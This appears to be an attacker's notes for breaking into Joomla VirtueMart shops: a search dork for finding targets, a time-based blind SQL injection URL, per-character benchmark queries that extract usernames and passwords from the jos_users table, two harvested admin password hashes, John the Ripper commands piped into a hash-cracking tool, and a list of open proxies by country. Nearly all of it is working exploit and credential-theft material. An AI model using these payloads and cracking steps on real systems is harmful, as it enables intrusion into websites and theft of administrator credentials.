inurl:"?option=com_virtuemart" index.php?option=com_virtuemart&page%3d-1'+UnIOn+seLEcT+iF(ascii(substring((select+length(concat(username,0x3a,password))+from+jos_users+limit+1),2,1 ))=100,benchmark(50000,MD5('x')),NULL)--+junk.page _____________________________________________________________________________________________________________________________________ select concat(username,0x3a,password) from jos_users limit 0,1; seLEcT iF(ascii(substring((select concat(username,0x3a,password) from jos_users limit 0,1),1,1 ))=97,benchmark(50000,MD5('x')),NULL); seLEcT iF(ascii(substring((select concat(username,0x3a,password) from jos_users limit 0,1),2,1 ))=100,benchmark(50000,MD5('x')),NULL); seLEcT iF(ascii(substring((select concat(username,0x3a,password) from jos_users limit 0,1),3,1 ))=109,benchmark(50000,MD5('x')),NULL); seLEcT iF(ascii(substring((select concat(username,0x3a,password) from jos_users limit 0,1),4,1 ))=105,benchmark(50000,MD5('x')),NULL); seLEcT iF(ascii(substring((select concat(username,0x3a,password) from jos_users limit 0,1),5,1 ))=110,benchmark(50000,MD5('x')),NULL); _______________________________________________________________________________________________________________________________________ HASH con Salt admin:80a2c538e0739f6efaeb0e3fab5c936d:9MyKCWIIDDZanAay5IbeLENbFnURRoi7 HASH admin:8afa847f50a716e64932d995c8e7435a ______________________________________________________________________________________________________________________________________ ./john -i --stdout| /usr/java/jdk1.6.0_26/bin/java -jar joomlaTools.jar 80a2c538e0739f6efaeb0e3fab5c936d:9MyKCWIIDDZanAay5IbeLENbFnURRoi7 ./john -w=password1.txt --stdout | /usr/java/jdk1.6.0_26/bin/java -jar joomlaTools.jar 80a2c538e0739f6efaeb0e3fab5c936d:9MyKCWIIDDZanAay5IbeLENbFnURRoi7 _______________________________________________________________________________________________________________________________________ proxy 77.91.158.34:3128 ukraine 193.227.25.14:3128 egypt 85.254.213.163:80 latvia